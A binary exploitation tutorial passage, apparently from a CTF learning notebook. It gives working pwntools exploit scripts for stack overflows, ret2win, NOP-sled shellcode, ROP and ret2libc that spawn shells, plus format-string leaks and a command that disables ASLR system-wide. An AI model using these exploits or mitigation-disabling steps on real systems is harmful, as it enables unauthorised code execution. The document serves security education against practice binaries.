But as we're interested in binary exploitation, let's see how we can possibly break this. First, let's disassemble unsafe
and break on the ret
instruction; ret
is the equivalent of pop eip
, which will get the saved return pointer we just analyzed on the stack into the eip
register. Then let's continue and spam a bunch of characters into the input and see how that could affect it.
[0x08049172]> db 0x080491aa
+[0x08049172]> dc
+Overflow me
+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+Now let's read the value at the location the return pointer was at previously, which as we saw was 0xff984aec
.
[0x080491aa]> pxw @ 0xff984aec
+0xff984aec 0x41414141 0x41414141 0x41414141 0x41414141 AAAAAAAAAAAAAAAA
+
+Huh?
+It's quite simple - we inputted more data than the program expected, which resulted in us overwriting more of the stack than the developer expected. The saved return pointer is also on the stack, meaning we managed to overwrite it. As a result, on the ret
, the value popped into eip
won't be in the previous function but rather 0x41414141
. Let's check with ds
.
[0x080491aa]> ds
+[0x41414141]>
+
+And look at the new prompt - 0x41414141
. Let's run dr eip
to make sure that's the value in eip
:
[0x41414141]> dr eip
+0x41414141
+
+Yup, it is! We've successfully hijacked the program execution! Let's see if it crashes when we let it run with dc
.
[0x41414141]> dc
+child stopped with signal 11
+[+] SIGNAL 11 errno=0 addr=0x41414141 code=1 ret=0
+
+radare2
is very useful and prints out the address that causes it to crash. If you cause the program to crash outside of a debugger, it will usually say Segmentation Fault
, which could mean a variety of things, but usually that you have overwritten EIP.
++Of course, you can prevent people from writing more characters than expected when making your program, usually using other C functions such as
+fgets()
;gets()
is intrinsically unsafe because it doesn't check the length of the input, meaning that the presence ofgets()
is always something you should check out in a program. It is also possible to givefgets()
the wrong parameters, meaning it still takes in too many characters.
When a function calls another function, it
+Because this value is saved on the stack, just like our local variables, if we write more characters than the program expects, we can overwrite the value and redirect code execution to wherever we wish. Functions such as fgets()
can prevent such easy overflow, but you should check how much is actually being read.
++The most basic binexp challenge
+
A ret2win is simply a binary where there is a win()
function (or equivalent); once you successfully redirect execution there, you complete the challenge.
To carry this out, we have to leverage what we learned in the introduction, but in a predictable manner - we have to overwrite EIP, but to a specific value of our choice.
+To do this, what do we need to know? Well, a couple of things:
+When I say "overwrite EIP", I mean overwrite the saved return pointer that gets popped into EIP. The EIP register is not located on the stack, so it is not overwritten directly.
+ +This can be found using simple trial and error; if we send a variable number of characters, we can use the Segmentation Fault
message, in combination with radare2, to tell when we overwrote EIP. There is a better way to do it than simple brute force (we'll cover this in the next post), but it'll do for now.
++You may get a segmentation fault for reasons other than overwriting EIP; use a debugger to make sure the padding is correct.
+
We get an offset of 52 bytes.
+Now we need to find the address of the flag()
function in the binary. This is simple.
$ r2 -d -A vuln
+$ afl
+[...]
+0x080491c3 1 43 sym.flag
+[...]
+
++++
afl
stands for Analyse Functions List
The flag()
function is at 0x080491c3
.
The final piece of the puzzle is to work out how we can send the address we want. If you think back to the introduction, the A
s that we sent became 0x41
- which is the ASCII code of A
. So the solution is simple - let's just find the characters with ASCII codes 0x08
, 0x04
, 0x91
, and 0xc3
.
This is a lot simpler than you might think because we can specify them in Python as hex:
+address = '\x08\x04\x91\xc3'
+
+And that makes it much easier.
+Now we know the padding and the value, let's exploit the binary! We can use pwntools
to interface with the binary (check out the pwntools posts for a more in-depth look).
from pwn import * # This is how we import pwntools
+
+p = process('./vuln') # We're starting a new process
+
+payload = 'A' * 52
+payload += '\x08\x04\x91\xc3'
+
+p.clean() # Receive all the text
+
+p.sendline(payload)
+
+log.info(p.clean()) # Output the "Exploited!" string to know we succeeded
+
+If you run this, there is one small problem: it won't work. Why? Let's check with a debugger. We'll put a pause()
to give us time to attach radare2
to the process.
from pwn import *
+
+p = process('./vuln')
+
+payload = b'A' * 52
+payload += '\x08\x04\x91\xc3'
+
+log.info(p.clean())
+
+pause() # add this in
+
+p.sendline(payload)
+
+log.info(p.clean())
+
+Now let's run the script with python3 exploit.py
and then open up a new terminal window.
r2 -d -A $(pidof vuln)
+
+By providing the PID of the process, radare2 hooks onto it. Let's break at the return of unsafe()
and read the value of the return pointer.
[0x08049172]> db 0x080491aa
+[0x08049172]> dc
+
+<< press any button on the exploit terminal window >>
+
+hit breakpoint at: 80491aa
+[0x080491aa]> pxw @ esp
+0xffdb0f7c 0xc3910408 [...]
+[...]
+
+0xc3910408
- look familiar? It's the address we were trying to send over, except the bytes have been reversed, and the reason for this reversal is endianness. Big-endian systems store the most significant byte (the byte with the largest value) at the smallest memory address, and this is how we sent them. Little-endian does the opposite (for a reason), and most binaries you will come across are little-endian. As far as we're concerned, the byte is stored in reverse order in little-endian executables.
radare2
comes with a nice tool called rabin2
for binary analysis:
$ rabin2 -I vuln
+[...]
+endian little
+[...]
+
+So our binary is little-endian.
+The fix is simple - reverse the address (you can also remove the pause()
)
payload += '\x08\x04\x91\xc3'[::-1]
+
+If you run this now, it will work:
+$ python3 tutorial.py
+[+] Starting local process './vuln': pid 2290
+[*] Overflow me
+[*] Exploited!!!!!
+
+And wham, you've called the flag()
function! Congrats!
Unsurprisingly, you're not the first person to have thought "Could they possibly make endianness simpler" - luckily, pwntools has a built-in p32()
function ready for use!
payload += '\x08\x04\x91\xc3'[::-1]
+
+becomes
+payload += p32(0x080491c3)
+
+Much simpler, right?
+The only caveat is that it returns bytes
rather than a string, so you have to make the padding a byte string:
payload = b'A' * 52 # Notice the "b"
+
+Otherwise, you will get a
+TypeError: can only concatenate str (not "bytes") to str
+
+from pwn import * # This is how we import pwntools
+
+p = process('./vuln') # We're starting a new process
+
+payload = b'A' * 52
+payload += p32(0x080491c3) # Use pwntools to pack it
+
+log.info(p.clean()) # Receive all the text
+p.sendline(payload)
+
+log.info(p.clean()) # Output the "Exploited!" string to know we succeeded
+
+++The better way to calculate offsets
+
De Bruijn sequences of order n
is simply a sequence where no string of n
characters is repeated. This makes finding the offset until EIP much simpler - we can just pass in a De Bruijn sequence, get the value within EIP and find the one possible match within the sequence to calculate the offset. Let's do this on the ret2win binary.
Again, radare2
comes with a nice command-line tool (called ragg2
) that can generate it for us. Let's create a sequence of length 100
.
$ ragg2 -P 100 -r
+AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
+
+The -P
specifies the length while -r
tells it to show ascii bytes rather than hex pairs.
Now we have the pattern, let's just input it in radare2
when prompted for input, make it crash, and then calculate how far along the sequence the EIP is. Simples.
$ r2 -d -A vuln
+
+[0xf7ede0b0]> dc
+Overflow me
+AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
+child stopped with signal 11
+[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 ret=0
+
+The address it crashes on is 0x41534141
; we can use radare2
's in-built wopO
command to work out the offset.
[0x41534141]> wopO 0x41534141
+52
+
+Awesome - we get the correct value!
+We can also be lazy and not copy the value.
+[0x41534141]> wopO `dr eip`
+52
+
+The backticks mean the dr eip
is calculated first before the wopO
is run on the result of it.
++Running your own code
+
In real exploits, it's not particularly likely that you will have a win()
function lying around - shellcode is a way to run your own instructions, giving you the ability to run arbitrary commands on the system.
Shellcode is essentially assembly instructions, except we input them into the binary; once we input it, we overwrite the return pointer to hijack code execution and point at our own instructions!
+++I promise you can trust me but you should never ever run shellcode without knowing what it does. Pwntools is safe and has almost all the shellcode you will ever need.
+
The reason shellcode is successful is that Von Neumann architecture (the architecture used in most computers today) does not differentiate between data and instructions - it doesn't matter where or what you tell it to run, it will attempt to run it. Therefore, even though our input is data, the computer doesn't know that - and we can use that to our advantage.
+ +ASLR is a security technique, and while it is not specifically designed to combat shellcode, it involves randomizing certain aspects of memory (we will talk about it in much more detail later). This randomization can make shellcode exploits like the one we're about to do less reliable, so we'll be disabling it, for now, using this.
+echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+
+++Again, you should never run commands if you don't know what they do
+
Let's debug vuln()
using radare2
and work out where in memory the buffer starts; this is where we want to point the return pointer to.
$ r2 -d -A vuln
+
+[0xf7fd40b0]> s sym.unsafe ; pdf
+[...]
+; var int32_t var_134h @ ebp-0x134
+[...]
+
+This value that gets printed out is a local variable - due to its size, it's fairly likely to be the buffer. Let's set a breakpoint just after gets()
and find the exact address.
[0x08049172]> dc
+Overflow me
+<<Found me>> <== This was my input
+hit breakpoint at: 80491a8
+[0x080491a8]> px @ ebp - 0x134
+- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
+0xffffcfb4 3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7 <<Found me>>....
+
+[...]
+
+It appears to be at 0xffffcfd4
; if we run the binary multiple times, it should remain where it is (if it doesn't, make sure ASLR is disabled!).
Now we need to calculate the padding until the return pointer. We'll use the De Bruijn sequence as explained in the previous blog post.
+$ ragg2 -P 400 -r
+<copy this>
+
+$ r2 -d -A vuln
+[0xf7fd40b0]> dc
+Overflow me
+<<paste here>>
+[0x73424172]> wopO `dr eip`
+312
+
+The padding is 312 bytes.
+In order for the shellcode to be correct, we're going to set the context.binary
to our binary; this grabs stuff like the arch, OS, and bits and enables pwntools to provide us with working shellcode.
from pwn import *
+
+context.binary = ELF('./vuln')
+
+p = process()
+
+++We can use just
+process()
because once thecontext.binary
is set it is assumed to use that process
Now we can use pwntools' awesome shellcode functionality to make it incredibly simple.
+payload = asm(shellcraft.sh()) # The shellcode
+payload = payload.ljust(312, b'A') # Padding
+payload += p32(0xffffcfb4) # Address of the Shellcode
+
+Yup, that's it. Now let's send it off and use p.interactive()
, which enables us to communicate to the shell.
log.info(p.clean())
+
+p.sendline(payload)
+
+p.interactive()
+
+++If you're getting an
+EOFError
, print out the shellcode and try to find it in memory - the stack address may be wrong
$ python3 exploit.py
+[*] 'vuln'
+ Arch: i386-32-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX disabled
+ PIE: No PIE (0x8048000)
+ RWX: Has RWX segments
+[+] Starting local process 'vuln': pid 3606
+[*] Overflow me
+[*] Switching to interactive mode
+$ whoami
+ironstone
+$ ls
+exploit.py source.c vuln
+
+And it works! Awesome.
+from pwn import *
+
+context.binary = ELF('./vuln')
+
+p = process()
+
+payload = asm(shellcraft.sh()) # The shellcode
+payload = payload.ljust(312, b'A') # Padding
+payload += p32(0xffffcfb4) # Address of the Shellcode
+
+log.info(p.clean())
+
+p.sendline(payload)
+
+p.interactive()
+
+++More reliable shellcode exploits
+
NOP (no operation) instructions do exactly what they sound like nothing. This makes them very useful for shellcode exploits because all they will do is run the next instruction. If we pad our exploits on the left with NOPs and point EIP in the middle of them, it'll simply keep doing no instructions until it reaches our actual shellcode. This allows us a greater margin of error as a shift of a few bytes forward or backward won't really affect it, it'll just run a different number of NOP instructions - which have the same end result of running the shellcode. This padding with NOPs is often called a NOP slide or NOP sled since the EIP is essentially sliding down them.
+In intel x86 assembly, NOP instructions are \x90
.
++The NOP instruction actually used to stand for
+XCHG EAX, EAX
, which does effectively nothing. You can read a bit more about it on this StackOverflow question.
We can make slight changes to our exploit to do two things:
+++Make sure ASLR is still disabled. If you have to disable it again, you may have to readjust your previous exploit as the buffer location may be different.
+
from pwn import *
+
+context.binary = ELF('./vuln')
+
+p = process()
+
+payload = b'\x90' * 240 # The NOPs
+payload += asm(shellcraft.sh()) # The shellcode
+payload = payload.ljust(312, b'A') # Padding
+payload += p32(0xffffcfb4 + 120) # Address of the buffer + half nop length
+
+log.info(p.clean())
+
+p.sendline(payload)
+
+p.interactive()
+
+++It's probably worth mentioning that shellcode with NOPs is not failsafe; if you receive unexpected errors padding with NOPs but the shellcode worked before, try reducing the length of the nopsled as it may be tampering with other things on the stack
+
Note that NOPs are only \x90
in certain architectures, and if you need others you can use pwntools:
nop = asm(shellcraft.nop())
+
+++The differences between the sizes
+
Everything we have done so far is applicable to 64-bit as well as 32-bit; the only thing you would need to change is switching out the p32()
for p64()
as the memory addresses are longer.
The real difference between the two, however, is the way you pass parameters to functions (which we'll be looking at much closer soon); in 32-bit, all parameters are pushed to the stack before the function is called. In 64-bit, however, the first 6 are stored in the registers RDI, RSI, RDX, RCX, R8, and R9 respectively as per the calling convention. Note that different Operating Systems also have different calling conventions.
+ + + + + + + + +++https://ir0nstone.gitbook.io/notes/
+
++The defense against shellcode
+
As you can expect, programmers were hardly pleased that people could inject their own instructions into the program. The NX bit, which stands for No eXecute, defines areas of memory as either instructions or data. This means that your input will be stored as data, and any attempt to run it as instructions will crash the program, effectively neutralizing the shellcode.
+To get around NX, exploit developers have to leverage a technique called ROP, Return-Oriented Programming.
+The Windows version of NX is DEP, which stands for Data Execution Prevention
+You can either use pwntools' checksec
or rabin2
.
$ checksec vuln
+[*] 'vuln'
+ Arch: i386-32-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX disabled
+ PIE: No PIE (0x8048000)
+ RWX: Has RWX segments
+
+$ rabin2 -I vuln
+[...]
+nx false
+[...]
+
+++Bypassing NX
+
The basis of ROP is chaining together small chunks of code already present within the binary itself in such a way as to do what you wish. This often involves passing parameters to functions already present within libc
, such as system
- if you can find the location of a command, such as cat flag.txt
, and then pass it as a parameter to the system
, it will execute that command and return the output. A more dangerous command is /bin/sh
, which when run by the system
gives the attacker a shell much like the shellcode we used did.
Doing this, however, is not as simple as it may seem at first. To be able to properly call functions, we first have to understand how to pass parameters to them.
+++A more in-depth look into parameters for 32-bit and 64-bit programs
+
Let's have a quick look at the source:
+#include <stdio.h>
+
+void vuln(int check) {
+ if(check == 0xdeadbeef) {
+ puts("Nice!");
+ } else {
+ puts("Not nice!");
+ }
+}
+
+int main() {
+ vuln(0xdeadbeef);
+ vuln(0xdeadc0de);
+}
+
+Pretty simple.
+If we run the 32-bit and 64-bit versions, we get the same output:
+Nice!
+Not nice!
+
+Just what we expected.
+Let's open the binary up in radare2 and disassemble it.
+$ r2 -d -A vuln-32
+$ s main; pdf
+
+0x080491ac 8d4c2404 lea ecx, [argv]
+0x080491b0 83e4f0 and esp, 0xfffffff0
+0x080491b3 ff71fc push dword [ecx - 4]
+0x080491b6 55 push ebp
+0x080491b7 89e5 mov ebp, esp
+0x080491b9 51 push ecx
+0x080491ba 83ec04 sub esp, 4
+0x080491bd e832000000 call sym.__x86.get_pc_thunk.ax
+0x080491c2 053e2e0000 add eax, 0x2e3e
+0x080491c7 83ec0c sub esp, 0xc
+0x080491ca 68efbeadde push 0xdeadbeef
+0x080491cf e88effffff call sym.vuln
+0x080491d4 83c410 add esp, 0x10
+0x080491d7 83ec0c sub esp, 0xc
+0x080491da 68dec0adde push 0xdeadc0de
+0x080491df e87effffff call sym.vuln
+0x080491e4 83c410 add esp, 0x10
+0x080491e7 b800000000 mov eax, 0
+0x080491ec 8b4dfc mov ecx, dword [var_4h]
+0x080491ef c9 leave
+0x080491f0 8d61fc lea esp, [ecx - 4]
+0x080491f3 c3 ret
+
+If we look closely at the calls to sym.vuln
, we see a pattern:
push 0xdeadbeef
+call sym.vuln
+[...]
+push 0xdeadc0de
+call sym.vuln
+
+We literally push
the parameter to the stack before calling the function. Let's break on sym.vuln
.
[0x080491ac]> db sym.vuln
+[0x080491ac]> dc
+hit breakpoint at: 8049162
+[0x08049162]> pxw @ esp
+0xffdeb54c 0x080491d4 0xdeadbeef 0xffdeb624 0xffdeb62c
+
+The first value there is the return pointer that we talked about before - the second, however, is the parameter. This makes sense because the return pointer gets pushed during the call
, so it should be at the top of the stack. Now let's disassemble sym.vuln
.
┌ 74: sym.vuln (int32_t arg_8h);
+│ ; var int32_t var_4h @ ebp-0x4
+│ ; arg int32_t arg_8h @ ebp+0x8
+│ 0x08049162 b 55 push ebp
+│ 0x08049163 89e5 mov ebp, esp
+│ 0x08049165 53 push ebx
+│ 0x08049166 83ec04 sub esp, 4
+│ 0x08049169 e886000000 call sym.__x86.get_pc_thunk.ax
+│ 0x0804916e 05922e0000 add eax, 0x2e92
+│ 0x08049173 817d08efbead. cmp dword [arg_8h], 0xdeadbeef
+│ ┌─< 0x0804917a 7516 jne 0x8049192
+│ │ 0x0804917c 83ec0c sub esp, 0xc
+│ │ 0x0804917f 8d9008e0ffff lea edx, [eax - 0x1ff8]
+│ │ 0x08049185 52 push edx
+│ │ 0x08049186 89c3 mov ebx, eax
+│ │ 0x08049188 e8a3feffff call sym.imp.puts ; int puts(const char *s)
+│ │ 0x0804918d 83c410 add esp, 0x10
+│ ┌──< 0x08049190 eb14 jmp 0x80491a6
+│ │└─> 0x08049192 83ec0c sub esp, 0xc
+│ │ 0x08049195 8d900ee0ffff lea edx, [eax - 0x1ff2]
+│ │ 0x0804919b 52 push edx
+│ │ 0x0804919c 89c3 mov ebx, eax
+│ │ 0x0804919e e88dfeffff call sym.imp.puts ; int puts(const char *s)
+│ │ 0x080491a3 83c410 add esp, 0x10
+│ │ ; CODE XREF from sym.vuln @ 0x8049190
+│ └──> 0x080491a6 90 nop
+│ 0x080491a7 8b5dfc mov ebx, dword [var_4h]
+│ 0x080491aa c9 leave
+└ 0x080491ab c3 ret
+
+Here I'm showing the full output of the command because a lot of it is relevant. radare2
does a great job of detecting local variables - as you can see at the top, there is one called arg_8h
. Later this same one is compared to 0xdeadbeef
:
cmp dword [arg_8h], 0xdeadbeef
+
+Clearly, that's our parameter.
+So now we know, when there's one parameter, it gets pushed to the stack so that the stack looks like this:
+return address param_1
+
+Let's disassemble the main
again here.
0x00401153 55 push rbp
+0x00401154 4889e5 mov rbp, rsp
+0x00401157 bfefbeadde mov edi, 0xdeadbeef
+0x0040115c e8c1ffffff call sym.vuln
+0x00401161 bfdec0adde mov edi, 0xdeadc0de
+0x00401166 e8b7ffffff call sym.vuln
+0x0040116b b800000000 mov eax, 0
+0x00401170 5d pop rbp
+0x00401171 c3 ret
+
+Hohoho, it's different. As we mentioned before, the parameter gets moved to rdi
(in the disassembly here it's edi
, but edi
is just the lower 32 bits of rdi
, and the parameter is only 32 bits long, so it says EDI
instead). If we break on sym.vuln
again we can check rdi
with the command
dr rdi
+
+++Just
+dr
will display all registers
[0x00401153]> db sym.vuln
+[0x00401153]> dc
+hit breakpoint at: 401122
+[0x00401122]> dr rdi
+0xdeadbeef
+
+Awesome.
+++Registers are used for parameters, but the return address is still pushed onto the stack and in ROP is placed right after the function address
+
calling-convention-multi-param
+#include <stdio.h>
+
+void vuln(int check, int check2, int check3) {
+ if(check == 0xdeadbeef && check2 == 0xdeadc0de && check3 == 0xc0ded00d) {
+ puts("Nice!");
+ } else {
+ puts("Not nice!");
+ }
+}
+
+int main() {
+ vuln(0xdeadbeef, 0xdeadc0de, 0xc0ded00d);
+ vuln(0xdeadc0de, 0x12345678, 0xabcdef10);
+}
+
+We've seen the full disassembly of an almost identical binary, so I'll only isolate the important parts.
+0x080491dd 680dd0dec0 push 0xc0ded00d
+0x080491e2 68dec0adde push 0xdeadc0de
+0x080491e7 68efbeadde push 0xdeadbeef
+0x080491ec e871ffffff call sym.vuln
+[...]
+0x080491f7 6810efcdab push 0xabcdef10
+0x080491fc 6878563412 push 0x12345678
+0x08049201 68dec0adde push 0xdeadc0de
+0x08049206 e857ffffff call sym.vuln
+
+It's just as simple - push
them in reverse order of how they're passed in. The reverse order becomes helpful when you db sym.vuln
and print out the stack.
[0x080491bf]> db sym.vuln
+[0x080491bf]> dc
+hit breakpoint at: 8049162
+[0x08049162]> pxw @ esp
+0xffb45efc 0x080491f1 0xdeadbeef 0xdeadc0de 0xc0ded00d
+
+So it becomes quite clear how more parameters are placed on the stack:
+return pointer param1 param2 param3 [...] paramN
+
+0x00401170 ba0dd0dec0 mov edx, 0xc0ded00d
+0x00401175 bedec0adde mov esi, 0xdeadc0de
+0x0040117a bfefbeadde mov edi, 0xdeadbeef
+0x0040117f e89effffff call sym.vuln
+0x00401184 ba10efcdab mov edx, 0xabcdef10
+0x00401189 be78563412 mov esi, 0x12345678
+0x0040118e bfdec0adde mov edi, 0xdeadc0de
+0x00401193 e88affffff call sym.vuln
+
+So as well as rdi
, we also push to rdx
and rsi
(or, in this case, their lower 32 bits).
Just to show that it is in fact ultimately rdi
and not edi
that is used, I will alter the original one-parameter code to utilize a bigger number:
#include <stdio.h>
+
+void vuln(long check) {
+ if(check == 0xdeadbeefc0dedd00d) {
+ puts("Nice!");
+ }
+}
+
+int main() {
+ vuln(0xdeadbeefc0dedd00d);
+}
+
+If you disassemble the main
, you can see it disassembles to
movabs rdi, 0xdeadbeefc0ded00d
+call sym.vuln
+
++++
movabs
can be used to encode themov
instruction for 64-bit instructions - treat it as if it's amov
.
++Controlling execution with snippets of code
+
Gadgets are small snippets of code followed by a ret
instruction, e.g. pop rdi; ret
. We can manipulate the ret
of these gadgets in such a way as to string together a large chain of them to do what we want.
Let's for a minute pretend the stack looks like this during the execution of a pop rdi; ret
gadget.
What happens is fairly obvious - 0x10
gets popped into rdi
as it is at the top of the stack during the pop rdi
. Once the pop
occurs, rsp
moves:
And since ret
is equivalent to pop rip
, 0x5655576724
gets moved into rip
. Note how the stack is laid out for this.
When we overwrite the return pointer, we overwrite the value pointed at by rsp
. Once that value is popped, it points to the next value at the stack - but wait. We can overwrite the next value in the stack.
Let's say that we want to exploit a binary to jump to a pop rdi; ret
gadget, pop 0x100
into rdi
then jump to flag()
. Let's step-by-step the execution.
On the original ret
, which we overwrite the return pointer for, we pop the gadget address in. Now rip
moves to point to the gadget, and rsp
moves to the next memory address.
rsp
moves to the 0x100
; rip
to the pop rdi
. Now when we pop, 0x100
gets moved into rdi
.
RSP moves to the next item on the stack, the address of the flag()
. The ret
is executed and flag()
is called.
Essentially, if the gadget pops values from the stack, simply place those values afterward (including the pop rip
in ret
). If we want to pop 0x10
into rdi
and then jump to 0x16
, our payload would look like this:
Note if you have multiple pop
instructions, you can just add more values.
++We use
+rdi
as an example because, if you remember, that's the register for the first parameter in 64-bit. This means control of this register using this gadget is important.
We can use the tool ROPgadget
to find possible gadgets.
$ ROPgadget --binary vuln-64
+
+Gadgets information
+============================================================
+0x0000000000401069 : add ah, dh ; nop dword ptr [rax + rax] ; ret
+0x000000000040109b : add bh, bh ; loopne 0x40110a ; nop ; ret
+0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401024
+[...]
+
+Combine it with grep
to look for specific registers.
$ ROPgadget --binary vuln-64 | grep rdi
+
+0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
+0x00000000004011db : pop rdi ; ret
+
+++ +Utilizing Calling Conventions
+
The program expects the stack to be laid out like this before executing the function:
+ +So why don't we provide it like that? As well as the function, we also pass the return address and the parameters.
+ +Everything after the address of flag()
will be part of the stack frame for the next function as it is expected to be there - just instead of using push
instructions we just overwrote them manually.
from pwn import *
+
+p = process('./vuln-32')
+
+payload = b'A' * 52 # Padding up to EIP
+payload += p32(0x080491c7) # Address of flag()
+payload += p32(0x0) # Return address - don't care if crashes when done
+payload += p32(0xdeadc0de) # First parameter
+payload += p32(0xc0ded00d) # Second parameter
+
+log.info(p.clean())
+p.sendline(payload)
+log.info(p.clean())
+
+Same logic, except we have to utilize the gadgets we talked about previously to fill the required registers (in this case rdi
and rsi
as we have two parameters).
We have to fill the registers before the function is called
+from pwn import *
+
+p = process('./vuln-64')
+
+POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9
+
+
+payload = b'A' * 56 # Padding
+payload += p64(POP_RDI) # pop rdi; ret
+payload += p64(0xdeadc0de) # value into rdi -> first param
+payload += p64(POP_RSI_R15) # pop rsi; pop r15; ret
+payload += p64(0xc0ded00d) # value into rsi -> first param
+payload += p64(0x0) # value into r15 -> not important
+payload += p64(0x40116f) # Address of flag()
+payload += p64(0x0)
+
+log.info(p.clean())
+p.sendline(payload)
+log.info(p.clean())
+
+++The standard ROP exploit
+
A ret2libc is based on the system
function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh
; if you pass this string to the system
, it will pop a shell.
And that is the entire basis of it - passing /bin/sh
as a parameter to the system
. Doesn't sound too bad, right?
To start with, we are going to disable ASLR. ASLR randomizes the location of libc in memory, meaning we cannot (without other steps) work out the location of the system
and /bin/sh
. To understand the general theory, we will start with it disabled.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
+
+Fortunately, Linux has a command called ldd
for dynamic linking. If we run it on our compiled ELF file, it'll tell us the libraries it uses and their base addresses.
$ ldd vuln-32
+ linux-gate.so.1 (0xf7fd2000)
+ libc.so.6 => /lib32/libc.so.6 (0xf7dc2000)
+ /lib/ld-linux.so.2 (0xf7fd3000)
+
+We need libc.so.6
, so the base address of libc is 0xf7dc2000
.
++Libc base and the system and /bin/sh offsets may be different for you. This isn't a problem - it just means you have a different libc version. Make sure you use your values.
+
To call the system, we obviously need its location in memory. We can use the readelf
command for this.
$ readelf -s /lib32/libc.so.6 | grep system
+
+1534: 00044f00 55 FUNC WEAK DEFAULT 14 system@@GLIBC_2.0
+
+The -s
flag tells readelf
to search for symbols, for example, functions. Here we can find the offset of the system from the libc base is 0x44f00
.
Since /bin/sh
is just a string, we can use strings
on the dynamic library we just found with ldd
. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.
$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh
+18c32b /bin/sh
+
+-a
tells it to scan the entire file; -t x
tells it to output the offset in hex.
from pwn import *
+
+p = process('./vuln-32')
+
+libc_base = 0xf7dc2000
+system = libc_base + 0x44f00
+binsh = libc_base + 0x18c32b
+
+payload = b'A' * 76 # The padding
+payload += p32(system) # Location of system
+payload += p32(0x0) # return pointer - not important once we get the shell
+payload += p32(binsh) # pointer to command: /bin/sh
+
+p.clean()
+p.sendline(payload)
+p.interactive()
+
+Repeat the process with the libc
linked to the 64-bit exploit (should be called something like /lib/x86_64-linux-gnu/libc.so.6
).
Note that instead of passing the parameter in after the return pointer, you will have to use a pop rdi; ret
gadget to put it into the RDI register.
$ ROPgadget --binary vuln-64 | grep rdi
+
+[...]
+0x00000000004011cb : pop rdi ; ret
+
+from pwn import *
+
+p = process('./vuln-64')
+
+libc_base = 0x7ffff7de5000
+system = libc_base + 0x48e20
+binsh = libc_base + 0x18a143
+
+POP_RDI = 0x4011cb
+
+payload = b'A' * 72 # The padding
+payload += p64(POP_RDI) # gadget -> pop rdi; ret
+payload += p64(binsh) # pointer to command: /bin/sh
+payload += p64(system) # Location of system
+payload += p64(0x0) # return pointer - not important once we get the shell
+
+p.clean()
+p.sendline(payload)
+p.interactive()
+
+Unsurprisingly, pwntools has a bunch of features that make this much simpler.
+# 32-bit
+from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+libc = elf.libc # Simply grab the libc it's running with
+libc.address = 0xf7dc2000 # Set base address
+
+system = libc.sym['system'] # Grab location of system
+binsh = next(libc.search(b'/bin/sh')) # grab string location
+
+payload = b'A' * 76 # The padding
+payload += p32(system) # Location of system
+payload += p32(0x0) # return pointer - not important once we get the shell
+payload += p32(binsh) # pointer to command: /bin/sh
+
+p.clean()
+p.sendline(payload)
+p.interactive()
+
+The 64-bit looks essentially the same.
+++Pwntools can simplify it even more with its ROP capabilities, but I won't showcase them here.
+
++Reading memory off the stack
+
Format String is a dangerous bug that is easily exploitable. If manipulated correctly, you can leverage it to perform powerful actions such as reading from and writing to arbitrary memory locations.
+In C, certain functions can take "format specifier" within strings. Let's look at an example:
+int value = 1205;
+
+printf("Decimal: %d\nFloat: %f\nHex: 0x%x", value, (double) value, value);
+
+This prints out:
+Decimal: 1205
+Float: 1205.000000
+Hex: 0x4b5
+
+So, it replaced %d
with the value, %f
with the float value and %x
with the hex representation.
This is a nice way in C of formatting strings (string concatenation is quite complicated in C). Let's try print out the same value in hex 3 times:
+int value = 1205;
+
+printf("%x %x %x", value, value, value);
+
+As expected, we get
+4b5 4b5 4b5
+
+What happens, however, if we don't have enough arguments for all the format specifiers?
+int value = 1205;
+
+printf("%x %x %x", value);
+
+4b5 5659b000 565981b0
+
+Erm... what happened here?
+The key here is that printf
expects as many parameters as format string specifiers, and in 32-bit it grabs these parameters from the stack. If there aren't enough parameters on the stack, it'll just grab the next values - essentially leaking values off the stack. And that's what makes it so dangerous.
Surely if it's a bug in the code, the attacker can't do much, right? Well, the real issue is when C code takes user-provided input and prints it out using printf
.
#include <stdio.h>
+
+int main(void) {
+ char buffer[30];
+
+ gets(buffer);
+
+ printf(buffer);
+ return 0;
+}
+
+If we run this normally, it works as expected:
+$ ./test
+
+yes
+yes
+
+But what happens if we input a format string specifier, such as %x
?
$ ./test
+
+%x %x %x %x %x
+f7f74080 0 5657b1c0 782573fc 20782520
+
+It reads values off the stack and returns them as the developer wasn't expecting so many format string specifiers.
+To print the same value 3 times, using
+printf("%x %x %x", value, value, value);
+
+Gets tedious - so, there is a better way in C.
+printf("%1$x %1$x %1$x", value);
+
+The 1$
between tells printf to use the first parameter. However, this also means that attackers can read values an arbitrary offset from the top of the stack - say we know there is a canary at the 6th %p
- instead of sending %p %p %p %p %p %p
, we can just do %6$p
. This allows us to be much more efficient.
In C, when you want to use a string you use a pointer to the start of the string - this is essentially a value that represents a memory address. So when you use the %s
format specifier, it's the pointer that gets passed to it. That means instead of reading a value of the stack, you read the value in the memory address it points at.
Now this is all very interesting - if you can find a value on the stack that happens to correspond to where you want to read, that is. But what if we could specify where we want to read? Well... we can.
+Let's look back at the previous program and its output:
+$ ./test
+
+%x %x %x %x %x %x
+f7f74080 0 5657b1c0 782573fc 20782520 25207825
+
+You may notice that the last two values contain the hex values of %x
. That's because we're reading the buffer. Here it's at the 4th offset - if we can write an address and then point %s
at it, we can get an arbitrary write!
$ ./vuln
+
